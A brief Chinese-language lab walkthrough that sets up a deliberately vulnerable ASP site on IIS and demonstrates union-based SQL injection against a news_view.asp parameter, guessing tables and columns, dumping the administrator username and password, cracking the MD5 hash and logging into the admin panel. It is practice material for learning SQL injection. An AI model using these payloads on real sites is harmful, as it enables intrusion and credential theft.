1.靶场搭建
下载地址:https://pan.baidu.com/s/1y6Gkvo7Wsbwj_zNbaBiCmA 提取码: kjg7
将下载好的文件解压到网站根目录(wwwroot)之下
打开iis,绑定ip
启用父路径,点击调试属性,将错误发送给浏览器设置为true
启动32位运行程序
2.访问网站
访问 ’绑定的IP‘/index.csp
3.寻找注入点
4.判断闭合方式
news_view.asp?id=14' // 报错news_view.asp?id=14 and 1=1 // 正常news_view.asp?id=14 and 1=2 // 错误
5.判断列数
news_view.asp?id=14 order by 7 // ⻚⾯正常news_view.asp?id=14 order by 8 // ⻚⾯报错,说明有 7 列
6. 寻找目标表
news_view.asp?id=14 and exists(select * from admin) //报错,说明该表不存在
news_view.asp?id=14 and exists(select * from users) //报错,说明该表不存在
news_view.asp?id=14 and exists(select * from administrator) //未报错,说明从该表返回数据,该表存在
7.判断回显位置
news_view.asp?id=14 union select 1,2,3,4,5,6,7 from administrator //⻚⾯正常
8.猜字段名
news_view.asp?id=14 union select 1,username,3,4,5,6,7 from administrator //报错,说明没有username列
news_view.asp?id=14 union select 1,user_name,3,4,5,6,7 from administrator //正常,说明存在这⼀列
news_view.asp?id=14 union select 1,user_name,password,4,5,6,7 from administ
rator// 成功查到密码
9.MD5解码
10.扫描目录
找到后台登录
登录
完成!!!